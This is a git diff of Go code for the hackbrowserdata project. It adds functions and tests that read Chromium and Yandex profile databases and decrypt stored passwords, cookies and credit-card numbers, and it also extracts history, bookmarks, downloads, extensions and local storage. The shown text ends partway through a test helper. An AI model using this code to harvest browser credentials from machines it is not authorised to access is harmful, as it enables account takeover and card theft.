diff --git a/.golangci.yml b/.golangci.yml index e481319..aa772ea 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -196,6 +196,13 @@ linters: - path: "crypto/keyretriever/gcoredump_darwin.go" linters: - gocognit + # Temporary: new v2 extract files have no callers until Phase 8 wiring + - path: "browser/chromium/(source|decrypt|extract_.*)\\.go" + linters: + - unused + - path: "browser/firefox/source\\.go" + linters: + - unused formatters: enable: diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go new file mode 100644 index 0000000..3b0c5da --- /dev/null +++ b/browser/chromium/decrypt.go @@ -0,0 +1,29 @@ +package chromium + +import ( + "fmt" + + "github.com/moond4rk/hackbrowserdata/crypto" +) + +// decryptValue decrypts a Chromium-encrypted value using the master key. +// It detects the cipher version from the ciphertext prefix and routes +// to the appropriate decryption function. +func decryptValue(masterKey, ciphertext []byte) ([]byte, error) { + if len(ciphertext) == 0 { + return nil, nil + } + + version := crypto.DetectVersion(ciphertext) + switch version { + case crypto.CipherV10: + return crypto.DecryptWithChromium(masterKey, ciphertext) + case crypto.CipherV20: + // TODO: implement App-Bound Encryption (Chrome 127+) + return nil, fmt.Errorf("v20 App-Bound Encryption not yet supported") + case crypto.CipherDPAPI: + return crypto.DecryptWithDPAPI(ciphertext) + default: + return nil, fmt.Errorf("unsupported cipher version: %s", version) + } +} diff --git a/browser/chromium/extract_bookmark.go b/browser/chromium/extract_bookmark.go new file mode 100644 index 0000000..ed89f6b --- /dev/null +++ b/browser/chromium/extract_bookmark.go @@ -0,0 +1,51 @@ +package chromium + +import ( + "os" + "sort" + + "github.com/tidwall/gjson" + + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/typeutil" +) + +func extractBookmarks(path string) ([]types.BookmarkEntry, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + var bookmarks []types.BookmarkEntry + roots := gjson.GetBytes(data, "roots") + roots.ForEach(func(_, value gjson.Result) bool { + walkBookmarks(value, "", &bookmarks) + return true + }) + + sort.Slice(bookmarks, func(i, j int) bool { + return bookmarks[i].CreatedAt.After(bookmarks[j].CreatedAt) + }) + return bookmarks, nil +} + +// walkBookmarks recursively traverses the bookmark tree, collecting URL entries. +func walkBookmarks(node gjson.Result, folder string, out *[]types.BookmarkEntry) { + if node.Get("type").String() == "url" { + *out = append(*out, types.BookmarkEntry{ + Name: node.Get("name").String(), + URL: node.Get("url").String(), + Folder: folder, + CreatedAt: typeutil.TimeEpoch(node.Get("date_added").Int()), + }) + } + + children := node.Get("children") + if !children.Exists() || !children.IsArray() { + return + } + currentFolder := node.Get("name").String() + for _, child := range children.Array() { + walkBookmarks(child, currentFolder, out) + } +} diff --git a/browser/chromium/extract_bookmark_test.go b/browser/chromium/extract_bookmark_test.go new file mode 100644 index 0000000..01a2f08 --- /dev/null +++ b/browser/chromium/extract_bookmark_test.go @@ -0,0 +1,74 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractBookmarks(t *testing.T) { + path := createTestJSON(t, "Bookmarks", `{ + "roots": { + "bookmark_bar": { + "name": "Bookmarks Bar", + "type": "folder", + "children": [ + {"name": "Go", "type": "url", "url": "https://go.dev", "date_added": "13360000000000000"}, + { + "name": "News", + "type": "folder", + "children": [ + {"name": "HN", "type": "url", "url": "https://news.ycombinator.com", "date_added": "13350000000000000"} + ] + } + ] + }, + "other": { + "name": "Other", + "type": "folder", + "children": [ + {"name": "GitHub", "type": "url", "url": "https://github.com", "date_added": "13370000000000000"} + ] + } + } + }`) + + got, err := extractBookmarks(path) + require.NoError(t, err) + require.Len(t, got, 3) + + // Verify sort order: date added descending (newest first) + assert.Equal(t, "GitHub", got[0].Name) + assert.Equal(t, "Go", got[1].Name) + assert.Equal(t, "HN", got[2].Name) + + // Verify field mapping + assert.Equal(t, "https://github.com", got[0].URL) + assert.Equal(t, "Other", got[0].Folder) + + // Verify nested folder tracking + assert.Equal(t, "https://news.ycombinator.com", got[2].URL) + assert.Equal(t, "News", got[2].Folder) // parent folder name +} + +func TestExtractBookmarks_FoldersExcluded(t *testing.T) { + path := createTestJSON(t, "Bookmarks", `{ + "roots": { + "bookmark_bar": { + "name": "Bar", + "type": "folder", + "children": [ + {"name": "EmptyFolder", "type": "folder", "children": []}, + {"name": "Link", "type": "url", "url": "https://example.com", "date_added": "0"} + ] + } + } + }`) + + got, err := extractBookmarks(path) + require.NoError(t, err) + require.Len(t, got, 1) // only URL entries, not folders + assert.Equal(t, "Link", got[0].Name) + assert.Equal(t, "Bar", got[0].Folder) +} diff --git a/browser/chromium/extract_cookie.go b/browser/chromium/extract_cookie.go new file mode 100644 index 0000000..7995c46 --- /dev/null +++ b/browser/chromium/extract_cookie.go @@ -0,0 +1,52 @@ +package chromium + +import ( + "database/sql" + "sort" + + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" + "github.com/moond4rk/hackbrowserdata/utils/typeutil" +) + +const defaultCookieQuery = `SELECT name, encrypted_value, host_key, path, + creation_utc, expires_utc, is_secure, is_httponly, + has_expires, is_persistent FROM cookies` + +func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) { + cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery, + func(rows *sql.Rows) (types.CookieEntry, error) { + var ( + name, host, cookiePath string + isSecure, isHTTPOnly int + hasExpire, isPersistent int + createdAt, expireAt int64 + encryptedValue []byte + ) + if err := rows.Scan(&name, &encryptedValue, &host, &cookiePath, + &createdAt, &expireAt, &isSecure, &isHTTPOnly, + &hasExpire, &isPersistent); err != nil { + return types.CookieEntry{}, err + } + + value, _ := decryptValue(masterKey, encryptedValue) + return types.CookieEntry{ + Name: name, + Host: host, + Path: cookiePath, + Value: string(value), + IsSecure: isSecure != 0, + IsHTTPOnly: isHTTPOnly != 0, + ExpireAt: typeutil.TimeEpoch(expireAt), + CreatedAt: typeutil.TimeEpoch(createdAt), + }, nil + }) + if err != nil { + return nil, err + } + + sort.Slice(cookies, func(i, j int) bool { + return cookies[i].CreatedAt.After(cookies[j].CreatedAt) + }) + return cookies, nil +} diff --git a/browser/chromium/extract_cookie_test.go b/browser/chromium/extract_cookie_test.go new file mode 100644 index 0000000..333d9fc --- /dev/null +++ b/browser/chromium/extract_cookie_test.go @@ -0,0 +1,35 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractCookies(t *testing.T) { + path := createTestDB(t, "Cookies", cookiesSchema, + insertCookie("session", ".old.com", "/", "", 13340000000000000, 13350000000000000, 1, 1), + insertCookie("token", ".new.com", "/api", "", 13360000000000000, 13370000000000000, 1, 0), + ) + + got, err := extractCookies(nil, path) + require.NoError(t, err) + require.Len(t, got, 2) + + // Verify sort order: creation time descending (newest first) + assert.Equal(t, ".new.com", got[0].Host) + assert.Equal(t, ".old.com", got[1].Host) + + // Verify field mapping + assert.Equal(t, "token", got[0].Name) + assert.Equal(t, "/api", got[0].Path) + assert.True(t, got[0].IsSecure) + assert.False(t, got[0].IsHTTPOnly) // httpOnly=0 + assert.False(t, got[0].CreatedAt.IsZero()) + assert.False(t, got[0].ExpireAt.IsZero()) + assert.True(t, got[0].ExpireAt.After(got[0].CreatedAt)) + + // Verify second cookie flags + assert.True(t, got[1].IsHTTPOnly) // httpOnly=1 +} diff --git a/browser/chromium/extract_creditcard.go b/browser/chromium/extract_creditcard.go new file mode 100644 index 0000000..c90995f --- /dev/null +++ b/browser/chromium/extract_creditcard.go @@ -0,0 +1,29 @@ +package chromium + +import ( + "database/sql" + + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" +) + +const defaultCreditCardQuery = `SELECT name_on_card, expiration_month, expiration_year, + card_number_encrypted FROM credit_cards` + +func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, error) { + return sqliteutil.QueryRows(path, false, defaultCreditCardQuery, + func(rows *sql.Rows) (types.CreditCardEntry, error) { + var name, month, year string + var encNumber []byte + if err := rows.Scan(&name, &month, &year, &encNumber); err != nil { + return types.CreditCardEntry{}, err + } + number, _ := decryptValue(masterKey, encNumber) + return types.CreditCardEntry{ + Name: name, + Number: string(number), + ExpMonth: month, + ExpYear: year, + }, nil + }) +} diff --git a/browser/chromium/extract_creditcard_test.go b/browser/chromium/extract_creditcard_test.go new file mode 100644 index 0000000..97e0fe2 --- /dev/null +++ b/browser/chromium/extract_creditcard_test.go @@ -0,0 +1,30 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractCreditCards(t *testing.T) { + path := createTestDB(t, "Web Data", creditCardsSchema, + insertCreditCard("John Doe", 12, 2025, ""), + insertCreditCard("Jane Smith", 6, 2027, ""), + ) + + got, err := extractCreditCards(nil, path) + require.NoError(t, err) + require.Len(t, got, 2) + + // Verify field mapping + assert.Equal(t, "John Doe", got[0].Name) + assert.Equal(t, "12", got[0].ExpMonth) + assert.Equal(t, "2025", got[0].ExpYear) + // Card number is empty because masterKey is nil (decrypt returns empty) + assert.Empty(t, got[0].Number) + + assert.Equal(t, "Jane Smith", got[1].Name) + assert.Equal(t, "6", got[1].ExpMonth) + assert.Equal(t, "2027", got[1].ExpYear) +} diff --git a/browser/chromium/extract_download.go b/browser/chromium/extract_download.go new file mode 100644 index 0000000..8cde9dc --- /dev/null +++ b/browser/chromium/extract_download.go @@ -0,0 +1,38 @@ +package chromium + +import ( + "database/sql" + "sort" + + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" + "github.com/moond4rk/hackbrowserdata/utils/typeutil" +) + +const defaultDownloadQuery = `SELECT target_path, tab_url, total_bytes, start_time, end_time FROM downloads` + +func extractDownloads(path string) ([]types.DownloadEntry, error) { + downloads, err := sqliteutil.QueryRows(path, false, defaultDownloadQuery, + func(rows *sql.Rows) (types.DownloadEntry, error) { + var targetPath, url string + var totalBytes, startTime, endTime int64 + if err := rows.Scan(&targetPath, &url, &totalBytes, &startTime, &endTime); err != nil { + return types.DownloadEntry{}, err + } + return types.DownloadEntry{ + URL: url, + TargetPath: targetPath, + TotalBytes: totalBytes, + StartTime: typeutil.TimeEpoch(startTime), + EndTime: typeutil.TimeEpoch(endTime), + }, nil + }) + if err != nil { + return nil, err + } + + sort.Slice(downloads, func(i, j int) bool { + return downloads[i].StartTime.After(downloads[j].StartTime) + }) + return downloads, nil +} diff --git a/browser/chromium/extract_download_test.go b/browser/chromium/extract_download_test.go new file mode 100644 index 0000000..6761c1c --- /dev/null +++ b/browser/chromium/extract_download_test.go @@ -0,0 +1,30 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractDownloads(t *testing.T) { + path := createTestDB(t, "History", downloadsSchema, + insertDownload("/tmp/old.zip", "https://old.com/file.zip", 1024, 13340000000000000, 13340000100000000), + insertDownload("/tmp/new.pdf", "https://new.com/doc.pdf", 2048, 13360000000000000, 13360000200000000), + ) + + got, err := extractDownloads(path) + require.NoError(t, err) + require.Len(t, got, 2) + + // Verify sort order: start time descending (newest first) + assert.Equal(t, "https://new.com/doc.pdf", got[0].URL) + assert.Equal(t, "https://old.com/file.zip", got[1].URL) + + // Verify field mapping + assert.Equal(t, "/tmp/new.pdf", got[0].TargetPath) + assert.Equal(t, int64(2048), got[0].TotalBytes) + assert.False(t, got[0].StartTime.IsZero()) + assert.False(t, got[0].EndTime.IsZero()) + assert.True(t, got[0].StartTime.Before(got[0].EndTime)) +} diff --git a/browser/chromium/extract_extension.go b/browser/chromium/extract_extension.go new file mode 100644 index 0000000..0cf0228 --- /dev/null +++ b/browser/chromium/extract_extension.go @@ -0,0 +1,59 @@ +package chromium + +import ( + "fmt" + "os" + + "github.com/tidwall/gjson" + + "github.com/moond4rk/hackbrowserdata/types" +) + +func extractExtensions(path string) ([]types.ExtensionEntry, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + // Try known JSON paths for extension settings + settingKeys := []string{ + "extensions.settings", + "settings.extensions", + "settings.settings", + } + var settings gjson.Result + for _, key := range settingKeys { + settings = gjson.GetBytes(data, key) + if settings.Exists() { + break + } + } + if !settings.Exists() { + return nil, fmt.Errorf("cannot find extensions in settings") + } + + var extensions []types.ExtensionEntry + settings.ForEach(func(id, ext gjson.Result) bool { + // Skip system/component extensions + // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom + location := ext.Get("location").Int() + if location == 5 || location == 10 { + return true + } + + manifest := ext.Get("manifest") + if !manifest.Exists() { + return true + } + + extensions = append(extensions, types.ExtensionEntry{ + Name: manifest.Get("name").String(), + ID: id.String(), + Description: manifest.Get("description").String(), + Version: manifest.Get("version").String(), + }) + return true + }) + + return extensions, nil +} diff --git a/browser/chromium/extract_extension_test.go b/browser/chromium/extract_extension_test.go new file mode 100644 index 0000000..97dac90 --- /dev/null +++ b/browser/chromium/extract_extension_test.go @@ -0,0 +1,77 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractExtensions(t *testing.T) { + path := createTestJSON(t, "Secure Preferences", `{ + "extensions": { + "settings": { + "abc123": { + "location": 1, + "manifest": { + "name": "React DevTools", + "description": "React debugging", + "version": "4.28.0" + } + }, + "system-ext": { + "location": 5, + "manifest": {"name": "System", "version": "1.0"} + }, + "component-ext": { + "location": 10, + "manifest": {"name": "Component", "version": "1.0"} + }, + "def456": { + "location": 1, + "manifest": { + "name": "uBlock Origin", + "description": "Ad blocker", + "version": "1.52.0" + } + } + } + } + }`) + + got, err := extractExtensions(path) + require.NoError(t, err) + require.Len(t, got, 2) // system (location=5) and component (location=10) skipped + + // Verify field mapping (order may vary since gjson.ForEach iterates map) + ids := map[string]bool{} + for _, ext := range got { + ids[ext.ID] = true + assert.NotEmpty(t, ext.Name) + assert.NotEmpty(t, ext.Version) + assert.NotEmpty(t, ext.Description) + } + assert.True(t, ids["abc123"]) + assert.True(t, ids["def456"]) + assert.False(t, ids["system-ext"]) +} + +func TestExtractExtensions_NoManifestSkipped(t *testing.T) { + path := createTestJSON(t, "Secure Preferences", `{ + "extensions": { + "settings": { + "no-manifest": {"location": 1} + } + } + }`) + + got, err := extractExtensions(path) + require.NoError(t, err) + assert.Empty(t, got) +} + +func TestExtractExtensions_MissingSettingsPath(t *testing.T) { + path := createTestJSON(t, "Secure Preferences", `{"something": "else"}`) + _, err := extractExtensions(path) + require.Error(t, err) +} diff --git a/browser/chromium/extract_history.go b/browser/chromium/extract_history.go new file mode 100644 index 0000000..58f711e --- /dev/null +++ b/browser/chromium/extract_history.go @@ -0,0 +1,38 @@ +package chromium + +import ( + "database/sql" + "sort" + + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" + "github.com/moond4rk/hackbrowserdata/utils/typeutil" +) + +const defaultHistoryQuery = `SELECT url, title, visit_count, last_visit_time FROM urls` + +func extractHistories(path string) ([]types.HistoryEntry, error) { + histories, err := sqliteutil.QueryRows(path, false, defaultHistoryQuery, + func(rows *sql.Rows) (types.HistoryEntry, error) { + var url, title string + var visitCount int + var lastVisit int64 + if err := rows.Scan(&url, &title, &visitCount, &lastVisit); err != nil { + return types.HistoryEntry{}, err + } + return types.HistoryEntry{ + URL: url, + Title: title, + VisitCount: visitCount, + LastVisit: typeutil.TimeEpoch(lastVisit), + }, nil + }) + if err != nil { + return nil, err + } + + sort.Slice(histories, func(i, j int) bool { + return histories[i].VisitCount > histories[j].VisitCount + }) + return histories, nil +} diff --git a/browser/chromium/extract_history_test.go b/browser/chromium/extract_history_test.go new file mode 100644 index 0000000..9bfd35e --- /dev/null +++ b/browser/chromium/extract_history_test.go @@ -0,0 +1,35 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractHistories(t *testing.T) { + path := createTestDB(t, "History", urlsSchema, + insertURL("https://github.com", "GitHub", 100, 13370000000000000), + insertURL("https://go.dev", "Go Dev", 50, 13360000000000000), + insertURL("https://example.com", "Example", 200, 13350000000000000), + ) + + got, err := extractHistories(path) + require.NoError(t, err) + require.Len(t, got, 3) + + // Verify sort order: visit count descending + assert.Equal(t, 200, got[0].VisitCount) + assert.Equal(t, 100, got[1].VisitCount) + assert.Equal(t, 50, got[2].VisitCount) + + // Verify field mapping + assert.Equal(t, "https://example.com", got[0].URL) + assert.Equal(t, "Example", got[0].Title) + assert.False(t, got[0].LastVisit.IsZero()) +} + +func TestExtractHistories_FileNotFound(t *testing.T) { + _, err := extractHistories("/nonexistent/History") + require.Error(t, err) +} diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go new file mode 100644 index 0000000..29b390c --- /dev/null +++ b/browser/chromium/extract_password.go @@ -0,0 +1,43 @@ +package chromium + +import ( + "database/sql" + "sort" + + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" + "github.com/moond4rk/hackbrowserdata/utils/typeutil" +) + +const defaultLoginQuery = `SELECT origin_url, username_value, password_value, date_created FROM logins` + +func extractPasswords(masterKey []byte, path, query string) ([]types.LoginEntry, error) { + if query == "" { + query = defaultLoginQuery + } + + logins, err := sqliteutil.QueryRows(path, false, query, + func(rows *sql.Rows) (types.LoginEntry, error) { + var url, username string + var pwd []byte + var created int64 + if err := rows.Scan(&url, &username, &pwd, &created); err != nil { + return types.LoginEntry{}, err + } + password, _ := decryptValue(masterKey, pwd) + return types.LoginEntry{ + URL: url, + Username: username, + Password: string(password), + CreatedAt: typeutil.TimeEpoch(created), + }, nil + }) + if err != nil { + return nil, err + } + + sort.Slice(logins, func(i, j int) bool { + return logins[i].CreatedAt.After(logins[j].CreatedAt) + }) + return logins, nil +} diff --git a/browser/chromium/extract_password_test.go b/browser/chromium/extract_password_test.go new file mode 100644 index 0000000..53c6e83 --- /dev/null +++ b/browser/chromium/extract_password_test.go @@ -0,0 +1,43 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/types" +) + +func TestExtractPasswords(t *testing.T) { + path := createTestDB(t, "Login Data", loginsSchema, + insertLogin("https://old.com", "https://old.com/login", "alice", "", 13340000000000000), + insertLogin("https://new.com", "https://new.com/login", "bob", "", 13360000000000000), + ) + + got, err := extractPasswords(nil, path, "") + require.NoError(t, err) + require.Len(t, got, 2) + + // Verify sort order: date created descending (newest first) + assert.Equal(t, "https://new.com", got[0].URL) + assert.Equal(t, "https://old.com", got[1].URL) + + // Verify field mapping + assert.Equal(t, "bob", got[0].Username) + assert.False(t, got[0].CreatedAt.IsZero()) + // Password is empty because masterKey is nil (decrypt returns empty) + assert.Empty(t, got[0].Password) +} + +func TestExtractPasswords_YandexQueryOverride(t *testing.T) { + path := createTestDB(t, "Ya Passman Data", loginsSchema, + insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000), + ) + + // Yandex uses action_url instead of origin_url + got, err := extractPasswords(nil, path, yandexQueryOverrides[types.Password]) + require.NoError(t, err) + require.Len(t, got, 1) + assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url +} diff --git a/browser/chromium/extract_storage.go b/browser/chromium/extract_storage.go new file mode 100644 index 0000000..b4f20c8 --- /dev/null +++ b/browser/chromium/extract_storage.go @@ -0,0 +1,58 @@ +package chromium + +import ( + "bytes" + "fmt" + "os" + + "github.com/syndtr/goleveldb/leveldb" + + "github.com/moond4rk/hackbrowserdata/types" +) + +func extractLocalStorage(path string) ([]types.StorageEntry, error) { + return extractLevelDB(path, []byte("\x00")) +} + +func extractSessionStorage(path string) ([]types.StorageEntry, error) { + return extractLevelDB(path, []byte("-")) +} + +// extractLevelDB iterates over all entries in a LevelDB directory, +// splitting each key by the separator into (url, name). +func extractLevelDB(path string, separator []byte) ([]types.StorageEntry, error) { + if _, err := os.Stat(path); os.IsNotExist(err) { + return nil, fmt.Errorf("leveldb path not found: %s", path) + } + db, err := leveldb.OpenFile(path, nil) + if err != nil { + return nil, err + } + defer db.Close() + + var entries []types.StorageEntry + iter := db.NewIterator(nil, nil) + defer iter.Release() + + for iter.Next() { + url, name := parseStorageKey(iter.Key(), separator) + if url == "" { + continue + } + entries = append(entries, types.StorageEntry{ + URL: url, + Key: name, + Value: string(iter.Value()), + }) + } + return entries, iter.Error() +} + +// parseStorageKey splits a LevelDB key into (url, name) by the given separator. +func parseStorageKey(key, separator []byte) (url, name string) { + parts := bytes.SplitN(key, separator, 2) + if len(parts) != 2 { + return "", "" + } + return string(parts[0]), string(parts[1]) +} diff --git a/browser/chromium/extract_storage_test.go b/browser/chromium/extract_storage_test.go new file mode 100644 index 0000000..4a17902 --- /dev/null +++ b/browser/chromium/extract_storage_test.go @@ -0,0 +1,48 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestExtractLocalStorage(t *testing.T) { + dir := createTestLevelDB(t, map[string]string{ + "https://example.com\x00token": "abc123", + "https://example.com\x00theme": "dark", + "https://other.com\x00session_id": "xyz789", + "noseparator": "should-be-skipped", + }) + + got, err := extractLocalStorage(dir) + require.NoError(t, err) + require.Len(t, got, 3) // "noseparator" entry skipped + + // Verify field mapping by collecting into a lookup + byKey := map[string]string{} + for _, entry := range got { + byKey[entry.URL+"/"+entry.Key] = entry.Value + } + assert.Equal(t, "abc123", byKey["https://example.com/token"]) + assert.Equal(t, "dark", byKey["https://example.com/theme"]) + assert.Equal(t, "xyz789", byKey["https://other.com/session_id"]) +} + +func TestExtractSessionStorage(t *testing.T) { + dir := createTestLevelDB(t, map[string]string{ + "https://example.com-token": "abc123", + "https://example.com-user": "alice", + }) + + got, err := extractSessionStorage(dir) + require.NoError(t, err) + require.Len(t, got, 2) + + byKey := map[string]string{} + for _, entry := range got { + byKey[entry.Key] = entry.Value + } + assert.Equal(t, "abc123", byKey["token"]) + assert.Equal(t, "alice", byKey["user"]) +} diff --git a/browser/chromium/source.go b/browser/chromium/source.go new file mode 100644 index 0000000..00df7c8 --- /dev/null +++ b/browser/chromium/source.go @@ -0,0 +1,48 @@ +package chromium + +import "github.com/moond4rk/hackbrowserdata/types" + +// dataSource maps a Category to one or more candidate file paths within a profile directory. +// paths are tried in order; the first one that exists is used. +type dataSource struct { + paths []string // candidate relative paths in priority order + isDir bool // true for LevelDB directories +} + +// chromiumSources defines the standard Chromium file layout. +var chromiumSources = map[types.Category]dataSource{ + types.Password: {paths: []string{"Login Data"}}, + types.Cookie: {paths: []string{"Network/Cookies", "Cookies"}}, + types.History: {paths: []string{"History"}}, + types.Download: {paths: []string{"History"}}, // same file, different query + types.Bookmark: {paths: []string{"Bookmarks"}}, + types.CreditCard: {paths: []string{"Web Data"}}, + types.Extension: {paths: []string{"Secure Preferences"}}, + types.LocalStorage: {paths: []string{"Local Storage/leveldb"}, isDir: true}, + types.SessionStorage: {paths: []string{"Session Storage"}, isDir: true}, +} + +// yandexSourceOverrides contains only the entries that differ from chromiumSources. +// At initialization time, these are merged into a copy of chromiumSources. +var yandexSourceOverrides = map[types.Category]dataSource{ + types.Password: {paths: []string{"Ya Passman Data"}}, + types.CreditCard: {paths: []string{"Ya Credit Cards"}}, +} + +// yandexSources returns chromiumSources with Yandex-specific overrides applied. +func yandexSources() map[types.Category]dataSource { + sources := make(map[types.Category]dataSource, len(chromiumSources)) + for k, v := range chromiumSources { + sources[k] = v + } + for k, v := range yandexSourceOverrides { + sources[k] = v + } + return sources +} + +// yandexQueryOverrides provides SQL query overrides for Yandex Browser. +// Yandex uses action_url instead of origin_url for password storage. +var yandexQueryOverrides = map[types.Category]string{ + types.Password: `SELECT action_url, username_value, password_value, date_created FROM logins`, +} diff --git a/browser/chromium/testutil_test.go b/browser/chromium/testutil_test.go new file mode 100644 index 0000000..d2bd1cc --- /dev/null +++ b/browser/chromium/testutil_test.go @@ -0,0 +1,228 @@ +package chromium + +import ( + "database/sql" + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + "github.com/syndtr/goleveldb/leveldb" + _ "modernc.org/sqlite" +) + +// --------------------------------------------------------------------------- +// Real Chrome table schemas — extracted via `sqlite3 ".schema "`. +// Using complete schemas ensures our SQL queries work against real browser data. +// --------------------------------------------------------------------------- + +const loginsSchema = `CREATE TABLE logins ( + origin_url VARCHAR NOT NULL, + action_url VARCHAR, + username_element VARCHAR, + username_value VARCHAR, + password_element VARCHAR, + password_value BLOB, + submit_element VARCHAR, + signon_realm VARCHAR NOT NULL, + date_created INTEGER NOT NULL, + blacklisted_by_user INTEGER NOT NULL, + scheme INTEGER NOT NULL, + password_type INTEGER, + times_used INTEGER, + form_data BLOB, + display_name VARCHAR, + icon_url VARCHAR, + federation_url VARCHAR, + skip_zero_click INTEGER, + generation_upload_status INTEGER, + possible_username_pairs BLOB, + id INTEGER PRIMARY KEY AUTOINCREMENT, + date_last_used INTEGER NOT NULL DEFAULT 0, + moving_blocked_for BLOB, + date_password_modified INTEGER NOT NULL DEFAULT 0, + sender_email VARCHAR, + sender_name VARCHAR, + date_received INTEGER, + sharing_notification_displayed INTEGER NOT NULL DEFAULT 0, + keychain_identifier BLOB, + sender_profile_image_url VARCHAR, + date_last_filled INTEGER NOT NULL DEFAULT 0, + actor_login_approved INTEGER NOT NULL DEFAULT 0, + UNIQUE (origin_url, username_element, username_value, password_element, signon_realm) +)` + +const cookiesSchema = `CREATE TABLE cookies ( + creation_utc INTEGER NOT NULL, + host_key TEXT NOT NULL, + top_frame_site_key TEXT NOT NULL, + name TEXT NOT NULL, + value TEXT NOT NULL, + encrypted_value BLOB NOT NULL, + path TEXT NOT NULL, + expires_utc INTEGER NOT NULL, + is_secure INTEGER NOT NULL, + is_httponly INTEGER NOT NULL, + last_access_utc INTEGER NOT NULL, + has_expires INTEGER NOT NULL, + is_persistent INTEGER NOT NULL, + priority INTEGER NOT NULL, + samesite INTEGER NOT NULL, + source_scheme INTEGER NOT NULL, + source_port INTEGER NOT NULL, + last_update_utc INTEGER NOT NULL, + source_type INTEGER NOT NULL, + has_cross_site_ancestor INTEGER NOT NULL +)` + +const urlsSchema = `CREATE TABLE urls ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + url LONGVARCHAR, + title LONGVARCHAR, + visit_count INTEGER DEFAULT 0 NOT NULL, + typed_count INTEGER DEFAULT 0 NOT NULL, + last_visit_time INTEGER NOT NULL, + hidden INTEGER DEFAULT 0 NOT NULL +)` + +const downloadsSchema = `CREATE TABLE downloads ( + id INTEGER PRIMARY KEY, + guid VARCHAR NOT NULL, + current_path LONGVARCHAR NOT NULL, + target_path LONGVARCHAR NOT NULL, + start_time INTEGER NOT NULL, + received_bytes INTEGER NOT NULL, + total_bytes INTEGER NOT NULL, + state INTEGER NOT NULL, + danger_type INTEGER NOT NULL, + interrupt_reason INTEGER NOT NULL, + hash BLOB NOT NULL, + end_time INTEGER NOT NULL, + opened INTEGER NOT NULL, + last_access_time INTEGER NOT NULL, + transient INTEGER NOT NULL, + referrer VARCHAR NOT NULL, + site_url VARCHAR NOT NULL, + embedder_download_data VARCHAR NOT NULL, + tab_url VARCHAR NOT NULL, + tab_referrer_url VARCHAR NOT NULL, + http_method VARCHAR NOT NULL, + by_ext_id VARCHAR NOT NULL, + by_ext_name VARCHAR NOT NULL, + by_web_app_id VARCHAR NOT NULL, + etag VARCHAR NOT NULL, + last_modified VARCHAR NOT NULL, + mime_type VARCHAR(255) NOT NULL, + original_mime_type VARCHAR(255) NOT NULL +)` + +const creditCardsSchema = `CREATE TABLE credit_cards ( + guid VARCHAR PRIMARY KEY, + name_on_card VARCHAR, + expiration_month INTEGER, + expiration_year INTEGER, + card_number_encrypted BLOB, + date_modified INTEGER NOT NULL DEFAULT 0, + origin VARCHAR DEFAULT '', + use_count INTEGER NOT NULL DEFAULT 0, + use_date INTEGER NOT NULL DEFAULT 0, + billing_address_id VARCHAR, + nickname VARCHAR +)` + +// --------------------------------------------------------------------------- +// INSERT helpers — each returns one SQL statement with only the fields +// our extract functions care about; other NOT NULL columns get defaults. +// --------------------------------------------------------------------------- + +func insertLogin(originURL, actionURL, username, pwdHex string, dateCreated int64) string { + return fmt.Sprintf( + `INSERT INTO logins (origin_url, action_url, username_element, username_value, + password_element, password_value, submit_element, signon_realm, date_created, + blacklisted_by_user, scheme) + VALUES ('%s', '%s', '', '%s', '', x'%s', '', '%s', %d, 0, 0)`, + originURL, actionURL, username, pwdHex, originURL, dateCreated, + ) +} + +func insertCookie(name, host, path, encValueHex string, creationUTC, expiresUTC int64, secure, httpOnly int) string { + return fmt.Sprintf( + `INSERT INTO cookies (creation_utc, host_key, top_frame_site_key, name, value, + encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, + has_expires, is_persistent, priority, samesite, source_scheme, source_port, + last_update_utc, source_type, has_cross_site_ancestor) + VALUES (%d, '%s', '', '%s', '', x'%s', '%s', %d, %d, %d, %d, 1, 1, 1, 0, 2, 443, %d, 0, 0)`, + creationUTC, host, name, encValueHex, path, expiresUTC, secure, httpOnly, creationUTC, creationUTC, + ) +} + +func insertURL(url, title string, visitCount int, lastVisitTime int64) string { + return fmt.Sprintf( + `INSERT INTO urls (url, title, visit_count, typed_count, last_visit_time, hidden) + VALUES ('%s', '%s', %d, 0, %d, 0)`, + url, title, visitCount, lastVisitTime, + ) +} + +func insertDownload(targetPath, tabURL string, totalBytes, startTime, endTime int64) string { + return 